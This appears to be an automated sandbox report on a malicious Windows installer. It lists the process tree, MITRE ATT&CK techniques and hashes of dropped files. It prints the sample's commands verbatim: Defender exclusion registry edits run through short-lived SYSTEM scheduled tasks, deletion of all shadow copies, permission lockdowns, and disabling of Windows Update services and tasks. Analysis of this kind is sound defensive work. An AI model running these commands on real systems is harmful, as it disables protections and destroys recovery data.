    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2I4TQe\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1388
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5788
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5924
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4380
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6052
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3884
- C:\Program Files (x86)\xdSTMt\d3XRBm.exe
  "C:\Program Files (x86)\xdSTMt\d3XRBm.exe"
  2⤵
  PID:5560
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:4756
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5512
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\xdSTMt" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2480
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:1500
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4444
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3144
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2436
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\xdSTMt\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4648
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\xdSTMt\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:6068
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\xdSTMt" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2956
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt\d3XRBm.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5820
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\xdSTMt\d3XRBm.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6072
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt\d3XRBm.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4104
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\xdSTMt\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4472
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2988
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\xdSTMt\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2300
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5240
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\xdSTMt\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5916
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1136
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\xdSTMt\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4332
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5424
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\xdSTMt\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4632
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2728
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\xdSTMt\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5428

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2I4TQe" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2I4TQe" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2944

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4728

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5720

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4620

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3216

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2584

C:\Program Files (x86)\xdSTMt\d3XRBm.exe
"C:\Program Files (x86)\xdSTMt\d3XRBm.exe"
1⤵
PID:4112

C:\Program Files (x86)\4ee9xUS\uy2w7D.exe
"C:\Program Files (x86)\4ee9xUS\uy2w7D.exe"
1⤵
PID:5828

C:\Windows\SysWOW64\sc.exe
sc config wuauserv start= disabled
1⤵
- Launches sc.exe
PID:5688

C:\Windows\SysWOW64\sc.exe
sc failure wuauserv reset= 0 actions= ""
1⤵
- Launches sc.exe
PID:3648

C:\Windows\SysWOW64\net.exe
net stop uhssvc
1⤵
PID:3392

C:\Windows\SysWOW64\sc.exe
sc config uhssvc start= disabled
1⤵
- Launches sc.exe
PID:788

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\wuaueng.dll
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4876

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3484

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Program Files (x86)\xdSTMt\thumbs.db" /inheritance:r
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3428

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5932

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1440

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
1⤵
PID:5928

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
1⤵
PID:4216

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
1⤵
PID:4588

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

e59d46e.rbs

Path C:\Config.Msi\e59d46e.rbs
Size 7KB
SHA256 fa614cc386ab5f861fca8f4f6bf36893c88a0453bb627981b73005cfb60b55e9
MD5 c5f635b9ee16e0563345e4d2f70292f3
SHA1 94687ff77d7d5a25d7ef42338ff45c245a9a8d7e
SHA512 ea71dd01022d09ff42ba57050c1c0d053e8af862c0602691c6291005140e4d3a3fc83c611c90ab2a8490dd5954006357753c7e04213a1a891362b3e9dc6ee5bf
SSDEEP 96:aA3gu0C7PaUUFt1CsThq/UFt1C6j4/xpThqjHsS56TWt8d71CKplj/RzIjByy:aAkC2zDIIVDI3CA9IKpFW
TLSH
T119F11001B31196D2E5911B75CB831B1637F2D3DAA320735B089E80285F5778C3EE57AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\4ee9xUS\XPSPLOG.dll
Size 4.6MB
SHA256 a6c4eb376fbff061ce1dcd24ab35f757487b227556a44f4d0c1ee53dc5af6b92
MD5 329e3d3cb24a7db889a86162bb1a22f0
SHA1 e2eaada4156ca63b69ccdb83b22a2627f42b6a6c
SHA512 fb4080e27bf57e62232fc6d18ff0300a5dc5edee5487ce295bc1588ef59c439bb418276ae65acf9dd49b2c0ff7d25c8928e28cf081bae87142544702da5e5f13
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyT:BMWKfU+BcUTHCCCfqCiUffnT
TLSH
T13A263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\4ee9xUS\image.png
Size 4.3MB
SHA256 ff7f77142269406f7b3f67c749134472ff3f546feb3b6fcc3a39bc8f133fe962
MD5 01e5655a3382c4326082ace799ae7fa2
SHA1 b5c05590ea511bf248b60e9761fca38fae98fbf8
SHA512 86093ec90cd4a067577053df1aa5438cf2ce5958a244b6886f5623004b50eec41c812a8998957c43a9dc719dcba3536cfd3d29344b5e3bbc11821f8d5de22021
SSDEEP 98304:dqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmIi:V/u21dGs2rOal3UpkiMT59Ii
TLSH
T18B263315222D2147AEE6C6D4DB9062BBE5920BE0D8C0DDE83BC92FF3467CE7B3549581
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\xdSTMt\XPSPLOG.dll
Size 4.6MB
SHA256 8bbb042bdb41017e1bdc081a50d3d301338bd1d0fe3a4aa02c9dab10ecdb5759
MD5 4eceb5140858e6d1b9adea72d2019cce
SHA1 cafc299c146c39fceeb0a1e412276c65dd00c3b5
SHA512 720093a632f922031db4a1c8921df8bb1565ef43e49994307a3c7cc537d8082ead9423c4a3c006bfdba86305ba59dd4e4392e4ea6c74410c69cbf424f98c5f66
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyy:BMWKfU+BcUTHCCCfqCiUffny
TLSH
T106263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3XRBm.exe

Path C:\Program Files (x86)\xdSTMt\d3XRBm.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\xdSTMt\image.png
Size 5.0MB
SHA256 d80a334d0e55482a6f9f91335de6798771408280ca2cbc8214b9146054f5e32e
MD5 894556afe471c7411db9d94af7648170
SHA1 b649485ae05bfae7adfa0293a9f6933e2f86f813
SHA512 b888f3d287dde4513c1b9edd776712010fce30074d969c8c518bde1977059fdb8cee87da7626b4a87e88caf401748eba1f681958f0c116c03b84d291c7086675
SSDEEP 98304:rqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:z/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T1B6363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\xdSTMt\thumbs.db
Size 358KB
SHA256 d47e68e6c93a4e4b777c90c8d6ad570ee1be7aceae5658f809153495bd8cd4cc
MD5 9fdcd70e714a6b7db371aed6a32d034e
SHA1 1e365c9aaf32da91c8b9316ddfc7a3968c3e4d39
SHA512 785ebe2b6097d1b86df9a5adaf792b263d828cb174ec349e9b59e322bf1778632ba543cf45289720382d15639c34ff79dc44cd2f80f3c31521792e45c0b529a8
SSDEEP 6144:3iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:y8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1D574F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\2I4TQe\UxEnhance64.dll
Size 3.1MB
SHA256 9e30aeef7939920eebb508296e086228a1466821ed24e7fbbc5f2b75bb5aac8d
MD5 3b76e0fd397d853efc55cbc2984e2099
SHA1 df3e7b1b7a5bd2eb7fef3c9f4a753e9795ab726a
SHA512 03b62d093b4021f3228f3cdda08dcff7781df2124cb3bc5553732a8e81b30ba2c94e06b16590fed98bd1afb6646f1553e0694d7a4846b0f9c7edb47186cdb18b
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+b:P9m29xx3Tiqt06ox6+z2rNNrKob
TLSH
T175E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\2I4TQe\adoresd.dat
Size 4.7MB
SHA256 b4adc8e374b1107a0a3050bd4076cccb87afd23907255111b5ba6c082da25d81
MD5 13f888001953fdd433606fdbd04bcc42
SHA1 1bfd939da97736a31c640d54e74c43668390f354
SHA512 e808c82aba4546ce6f0e98fa636a8fb506ad09bd59d8f5386ab6dc89b417b8603250c2bfb22b156382cc2ec63141972d228a6bf16abf757f1a1fa1de14ff3467
SSDEEP 98304:+mu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:lu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1AF3633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jYQQyx.exe

Path C:\Users\Public\2I4TQe\jYQQyx.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\2I4TQe\msadox.tb
Size 8KB
SHA256 037dfb1eeb0f9e510fbec4d783bbd3011a0c850625838d96eff5cd5d75f9b6e2
MD5 b2fc6706b6e71345b2ae0316e60d91a9
SHA1 0f91bc5f38a3100bb2193e41c6433e87559b31f2
SHA512 b77699790ff4cede1e5fef51e3cca5fc310d93fd8a8aca8c5bce8467e7cfae34bd2c02704bfa15b8fa9c2ec6d1558841433a915a6a3272ebb942bb2c44257349
SSDEEP 192:pqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:psZqZOXQ3uqvR2Kfzp
TLSH
T1C0029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

MSIDB44.tmp

Path C:\Windows\Installer\MSIDB44.tmp
Size 7.6MB
SHA256 1f6b8a0b0fb5bc11fa65065d8c056edf4a03f2f1cd7bd2d998dd3c9395d1e57f
MD5 ddf32194688ae13e6dac6ae875e98b0a
SHA1 d794f2fcbe866b36ddbdf4e90cc80930a495a370
SHA512 9a808d552b03f60ef74e0e91fdbea974d3885cfe1734af32799f20eb9266a365c652f84d9d2dabbab061ff6fb468d949d94e4a7988728fb7bf1933638d250438
SSDEEP 196608:IM51bJ7sclEp2sOtMKpkKcMey+lr4ywwoKIMzkPV0EG/xPnSin/gy:IA8oKhweLwUSPVjqSwn
TLSH
T19E8633827E8F2670C05BCBF56A55B17F715E37C26F3A1C1639D93B485D3221600BB2AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e59d46d.msi

Path C:\Windows\Installer\e59d46d.msi
Size 7.7MB
SHA256 12f91ecd497f83c9f33d5089fc8fed7dbf1335efb2ece7496fd4a720f21559ac
MD5 9f34b2de41276b654ff7c7995a0e602d
SHA1 320affb00a1e33dede1e89c02e07f4e41d6e6826
SHA512 eb8c0d76c38327ec54c27396b0b4030fc92e9b04069e3f1f983f6937e88ec01cf42d2de06d047f372a6e67f188b36e10133ac18a552167602eb3b63382ca8f1a
SSDEEP 196608:IM51bJ7sclEp2sOtMKpkKchey+lr4ywwoKIMzkPV0EG/xPnSin/g2:IA8oKhVeLwUSPVjqSwL
TLSH
T1938633827E8B2770C05BCBF16A56A17E715E3FC26F3A1C1639D97B4C6D3121600B72A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

